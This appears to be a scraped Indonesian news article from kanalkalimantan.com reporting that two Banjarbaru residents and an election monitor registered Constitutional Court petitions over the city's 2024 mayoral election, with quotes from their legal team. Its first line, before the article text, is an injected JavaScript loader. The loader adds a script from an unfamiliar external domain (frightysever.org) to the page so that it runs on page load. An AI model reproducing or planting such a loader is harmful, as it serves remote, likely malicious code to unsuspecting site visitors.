(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, JAKARTA – Tim Hukum Banjarbaru Hanyar (Haram Manyarah) sebagai kuasa hukum pihak pemohon yakni 2 orang warga Kota Banjarbaru dan pemantau Pemilu sebagai pihak yang menganggap hak konstitusional dirugikan atas permasalahan Pilkada Kota Banjarbaru mendapatkan informasi bahwa kedua perkara yang diajukan di Mahkamah Konstitusi (MK) telah berhasil teregister dengan perkara NOMOR 05/PHPU.WAKO-XXIII/2025 untuk pemohon pemantau pemilu dan NOMOR 06/PHPU.WAKO-XXIII/2025 untuk pemohon 2 orang warga Kota Banjarbaru.
Informasi ini didapatkan setelah tim Hukum Banjarbaru Hanyar mendapat informasi dari akta yang dikirim oleh Mahkamah Konstitusi berdasarkan AKTA REGISTRASI PERKARA KONSTITUSI ELEKTRONIK Nomor 05/PAN.MK/e-ARPK/01/2025 dan AKTA REGISTRASI PERKARA KONSTITUSI ELEKTRONIK Nomor 06/PAN.MK/e-ARPK/01/2025. Berdasarkan Peraturan MK Nomor 3 Tahun 2024 Pemeriksaan pendahuluan bakal dilakukan paling cepat empat hari kerja setelah perkara diregistrasi. Artinya, dimulai pekan depan.
Tim Hukum yang terdiri dari Prof Denny Indrayana SH LLM PhD, Dr Muhamad Pazri SH MH sebagai ketua Tim Banjarbaru Hanyar, Kisworo Dwi Cahyono SP SH Beserta Tim Banjarbaru Hanyar lainnya menyampaikan perkara ini terus berlanjut hingga akhir dengan semangat Haram Manyarah Waja Sampai Kaputing.
Baca juga: 8 Jam di Atas Air dari Kapuas ke Sekumpul Martapura
Pazri mengatakan, terkait permasalahan ini adalah karena adanya dugaan pelanggaran konstitusional mengenai hak pilih pada Pilkada Kota Banjarbaru. Harusnya Pilkada Kota Banjarbaru dengan mekanisme Paslon melawan kotak kosong, namun kasus sekarang tidak, dari hasil Pilkada kemarin banyak suara tidak sah dibandingkan paslon nomor urut 1, padahal harusnya ada kolom kosong untuk dicoblos.
Berkaca dari fakta dan praktik penyelenggaraan yang dilakukan oleh termohon secara tidak profesional, melanggar prinsip kepastian hukum, serta bertentangan dengan UU Pemilukada dan PKPU 17/2024 dalam Pemilukada Kota Banjarbaru, maka pelaksanaan Pemilukada Kota Banjarbaru secara keseluruhan pada tahun berikutnya ATAU PSU antara Paslon Nomor 1 melawan kolom kosong, perlu diambil alih oleh KPU RI dan bukan lagi dilaksanakan oleh Termohon.
Prof Denny Indrayana SH LLM PhD menyampaikan terima kasih banyak kepada semua tim dan memohon do’a kepada semua masyarakat agar suara pemilih warga Kota Banjarbaru diselamatkan, dan perjuangan terus akan kita lanjutkan (kada bemunduran). (Kanalkalimantan.com/kk)
Reporter : kk
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Pasca kegiatan rutinan Malam Senin Momen 5 Rajab, arus kepulangan Jemaah Sekumpul… Read More
KANALKALIMANTAN.COM, MARTAPURA - Bappedalitbang Kabupaten Banjar menggelar rapat persiapan pelaksanaan Musyawarah Perencanaan Pembangunan (Musrenbang) Kecamatan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Sidang kasus gratifikasi proyek Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Provinsi… Read More
KANALKALIMANTAN.COM - 6 Januari diperingati sebagai Hari Anak Yatim Korban Perang se Dunia. Momentum hari… Read More
KANALKALIMANTAN.COM, JAKARTA - Setelah berhasil mengamankan sistem kelistrikan saat periode Natal 2024, Direktur Utama PLN… Read More
KANALKALIMANTAN.COM, MARTAPURA - Rangkaian kegiatan Haul ke-20 Guru Sekumpul di Musholla Ar-Raudhah, Martapura, Kabupaten Banjarbaru,… Read More
This website uses cookies.